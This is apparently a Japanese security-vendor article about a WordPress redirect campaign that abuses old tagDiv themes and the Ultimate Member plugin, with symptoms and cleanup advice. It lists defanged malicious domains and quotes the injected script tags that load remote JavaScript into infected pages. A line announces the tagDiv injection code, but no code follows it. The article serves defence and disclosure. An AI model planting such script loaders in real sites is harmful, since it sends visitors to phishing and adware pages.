WordPressリダイレクトハックの全貌：tagDivテーマとUltimate Memberプラグインの脆弱性を徹底解説

WordPressサイトへのアクセスを不審なページへ強制的にリダイレクトする感染被害が、日増しに増加しています。最近では、人気テーマ「tagDiv」とプラグイン「Ultimate Member」に脆弱性が発見され、これらを悪用したリダイレクトハックが多数確認されました。この攻撃を受けたサイトでは、訪問者がフィッシングページや悪意のあるページへ知らないうちに転送されてしまいます。

リダイレクト先で何が起こるのか

このハックに感染したサイトでは、訪問者は以下のような任意のURLへリダイレクトされます。

• hxxp://utroro.com/xyz
• hxxp://murieh.abc/xyz
• hxxps://unverf.com/xyz

リダイレクト先では偽のreCAPTCHA画像が表示され、その意図を明かさないまま「ブラウザ通知を許可する」よう訪問者を巧みに誘導する手口が使われています。

さらに深刻なのはGoogleによるペナルティです。フィッシングサイトやハッキングされたサイトとしてブラックリストに登録されると、訪問者のブラウザに警告メッセージが表示されるようになり、サイトの信頼性とトラフィックが大きく損なわれます。

注入される悪意あるスクリプト

今回の感染では、以下の2つのドメインからコードが注入されていることが確認されています。

• cdn.allyouwant.online
• cdn.eeduelements.com

前者はこの悪質なキャンペーンの後半段階で、後者は初期段階で使用されていました。実際に注入されたコードは次のとおりです。

...
<script type='text/javascript' src='hxxps://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script><script type='text/javascript' src='hxxps://cdn.allyouwant.online/main.js?t=lp1'></script></head>
...

調査時点で、cdn.eeduelements.comのスクリプトが仕込まれたサイトは1,700件以上、cdn.allyouwant.onlineのスクリプトが見つかったサイトは500件以上に上ります。

tagDivテーマにおける攻撃ベクター

このWordPressエクスプロイトの主な原因となっているのは、tagDivテーマと、アクティブインストール数10万以上を誇る人気プラグイン「Ultimate Member」で発見された（すでに修正済みの）脆弱性です。

古いバージョンのtagDivテーマでは、テーマファイル内に次のような形でマルウェアが注入されます。

Ultimate Memberプラグインの脆弱性とは

Ultimate Memberプラグインの脆弱性は「認証なしの任意ファイルアップロード（Unauthenticated Arbitrary File Upload）」です。この脆弱性自体は2018年8月9日に修正されていますが、依然として古いバージョンを使い続けているサイトは攻撃のリスクにさらされています。

WordPressリダイレクトキャンペーンの主な症状

1. index.phpが改ざんされている
2. /wp-content/plugins/ultimate-member/includes/images/smiles ディレクトリに不明なPHPファイルが存在する
3. エラーログに wp-content/plugins/ultimate-member/assets/dynamic_css/dynamic_profile.php の5行目・6行目に関する記録がある
4. サイトが望まないサイト（アドウェア）へリダイレクトされる
5. ホームページ閲覧時にポップアップが表示される
6. クレジットカード情報が盗まれる
7. サーバー上に不明なファイルが作成される
8. WordPressおよびプラグインフォルダ内のクエリファイルが改変される
9. index.phpに意味不明のコード（ゴミデータ）が混入している

WordPressリダイレクトハックへの対策方法

このリダイレクト感染は複数の攻撃経路と複数の亜種コードを使い分けているため、以下の対策を確実に実施することが重要です。

1. すべてのテーマとプラグインを最新バージョンに更新する。
2. HTTP認証を設定し、アップロードフォルダ内のPHPファイルへの直接アクセスを防ぐ。これにより不正なコード実行を阻止できる。
3. tagDiv感染の場合は、テーマの管理画面からマルウェアを検出・削除できる。
4. Ultimate Memberプラグインのエクスプロイトの場合は、wp-content/uploads/ultimatemember/temp/ 配下のサブディレクトリにあるPHPファイルをすべて削除する。

こうした悪質なリダイレクトキャンペーンは、感染コードや影響を受けるファイルを頻繁に変更するため、対応には専門的な知識が必要です。自力での駆除に不安がある場合は、セキュリティ専門家への相談が最善の選択となります。ファイアウォールによるXSS、SQLインジェクション、悪質ボットなど80種類以上の脅威からの防御も併せて検討しましょう。